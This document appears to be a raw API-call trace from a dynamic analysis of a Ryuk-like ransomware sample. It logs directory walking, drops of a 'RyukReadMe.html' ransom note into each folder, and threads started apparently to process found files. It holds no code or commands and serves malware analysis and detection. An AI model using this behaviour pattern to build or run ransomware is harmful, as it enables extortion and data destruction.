	[0208.198] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0
	[0208.198] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0208.198] SetLastError (dwErrCode=0x0) 
	[0208.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0208.199] GetLastError () returned 0xb7
	[0208.199] CloseHandle (hObject=0x480) returned 1
	[0208.199] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0208.199] SetLastError (dwErrCode=0x0) 
	[0208.199] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0208.199] GetLastError () returned 0xb7
	[0208.199] CloseHandle (hObject=0x480) returned 1
	[0208.199] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0208.200] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.200] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0208.200] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0208.201] SetLastError (dwErrCode=0x0) 
	[0208.201] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0208.201] GetLastError () returned 0x0
	[0208.201] WriteFile (in: hFile=0x480, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0208.204] CloseHandle (hObject=0x480) returned 1
	[0208.204] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0208.204] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0208.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0208.207] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.208] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0208.208] SetLastError (dwErrCode=0x0) 
	[0208.208] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0208.209] GetLastError () returned 0xb7
	[0208.209] CloseHandle (hObject=0x524) returned 1
	[0208.209] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0208.209] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.209] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0208.209] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0208.210] SetLastError (dwErrCode=0x0) 
	[0208.210] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.452] GetLastError () returned 0x0
	[0208.452] WriteFile (in: hFile=0x5c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0208.455] CloseHandle (hObject=0x5c4) returned 1
	[0208.455] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.456] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.456] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0208.456] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0208.456] SetLastError (dwErrCode=0x0) 
	[0208.456] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.456] GetLastError () returned 0x3
	[0208.457] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0208.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.457] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0
	[0208.457] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0208.457] SetLastError (dwErrCode=0x0) 
	[0208.457] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0208.458] GetLastError () returned 0xb7
	[0208.458] CloseHandle (hObject=0x524) returned 1
	[0208.458] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0208.458] SetLastError (dwErrCode=0x0) 
	[0208.458] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0208.458] GetLastError () returned 0xb7
	[0208.458] CloseHandle (hObject=0x524) returned 1
	[0208.459] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0208.459] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.459] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0208.459] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0208.459] SetLastError (dwErrCode=0x0) 
	[0208.459] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0208.460] GetLastError () returned 0x0
	[0208.460] WriteFile (in: hFile=0x5c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0208.463] CloseHandle (hObject=0x5c4) returned 1
	[0208.463] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0208.464] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0208.464] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0208.464] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0208.464] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0208.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c8
	[0208.474] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.476] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5bdddd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5bdddd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0208.476] SetLastError (dwErrCode=0x0) 
	[0208.476] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.476] GetLastError () returned 0x3
	[0208.476] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0208.476] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.476] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0208.477] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0208.477] SetLastError (dwErrCode=0x0) 
	[0208.477] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.477] GetLastError () returned 0x3
